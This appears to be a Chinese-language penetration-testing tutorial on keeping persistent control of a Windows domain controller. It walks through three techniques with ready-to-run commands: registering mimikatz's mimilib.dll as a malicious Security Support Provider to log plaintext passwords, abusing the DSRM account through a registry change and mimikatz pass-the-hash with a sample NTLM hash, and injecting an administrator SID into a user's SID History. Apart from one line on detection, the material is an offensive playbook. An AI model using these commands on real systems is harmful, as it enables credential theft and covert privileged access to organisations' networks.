一、利用SSP持久化控制
SSP全称为——Security Support Provider 安全支持提供者
1、简单的来说SSP就是一个DLL,用来实现身份认证的功能。例如NTLM,Kerberos,等认证系统功能的实现都需要用到SSP这个DLL。
2、SSPI是SSP的接口,安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。
3、LSA,Local Security Authority——本地安全机构。例如lsass.exe就是一个LSA。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
我认为,利用SSP进行持久化控制,有点像DLL劫持的味道。通过构造恶意DLL文件,来抓取密码。
Win2016作为域控进行实验:
使用mimikatz
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d mimilib.dll /t REG_MULTI_SZ
type C:\Windows\System32\kiwissp.log
检测的话就用autorun查看启动时是否调用此Dll
此外我想这个SSP维持域控,到底有什么用。读取了明文密码后,主机假设重启,它更换了密码后,你也无法登录上去看新的密码。
那么我觉得似乎可以换个思路,使用SSP主要的功能是用来进行读取密码,例如在高版本server系统,mimikatz无法直接读取明文数据,可以尝试通过SSP的方式来读取密码,从而进行再次的横向渗透。
或者读取密码后,使用某种方式进行发送到攻击者上,可以随时通过SMB/RDP/等方式随时连接到域控。
二、DSRM持久化控制
适用版本:windows 2008以后的版本
win2008需要打上KB961320补丁
win2003则无法使用此功能
在一台主机成为了域控DC后,原本主机上的administrator本地账户就会被默认删除掉,取而代之的是(目录服务还原模式)DSRM。原因是没有本地管理员的时候,要是域控出现了问题,例如崩溃或故障,怎么办呢?DSRM账户能够在这种情况下帮助域控目录数据库(AD)来进行活动。
也就是说本地 administrator用户=DSRM账号,DSRM的密码在创建域的时候,会让你手动输入。
1、使用ntdsutil命令正常修改DSRM的时候,如下,需要输入原本的DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上重置DSRM的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
2、ntdsutil同步某域用户的密码到DSRM密码上
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3、开始修改DSRM的登录方式,以下是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehaviord值要为2
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
powershell -Command "New-ItemProperty 'hklm:\system\currentcontrolset\control\lsa\' -name 'dsrmadminlogonbehavior' -value 2 -propertyType DWORD"
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
4、更改注册表后,使用Mimikatz进行DSRM(域控本地用户)登录,在步骤二我们已经通过同步域用户密码更改DSRM的方式,同步域用户bbb的密码到DSRM中。
获取了bbb的NTLM Hash
在任意一台域普通用户主机上使用mimikatz 的PTH功能来进行登录(这里也可以换成其他具有PTH功能的工具,例如WMICEXEC等等等)
privilege::Debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:0f0de1776a3bf0f2a29b6f15b6fcba42
成功后会弹出一个cmd界面,区别如下
三、SID Histroy持久化控制
每个用户都有自己的SID。
假设A公司A域和B公司B域,A公司被B公司收购了,那么A公司域内的用户就要迁移到B用户中,但是迁移后SID就会发生变化,因为A.user变成了B.user,这明显是两个不同的用户了。
为了保证使用权限的固定,SID History成为域用户迁移中的必不可少的一个属性,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
因此,SID History作为可以保留原本历史权限的一个功能点,它可以利用作为持久化控制的方法,思路就是让域管理员的SID和普通用户User的SID History,那么普通用户User就具备域管理员的权限了。
查看SID history
powershell -Command "Import-Module ActiveDirectory;Get-ADUser administrator -Properties sidhistory"
域控
域用户
使用MIMIKATZ来进行Sid history的值替换
privilege::debug
sid::patch
sid::add /sam:aaa /new:administrator
运行成功
此时一个普通的域用户已经成为了域管理员了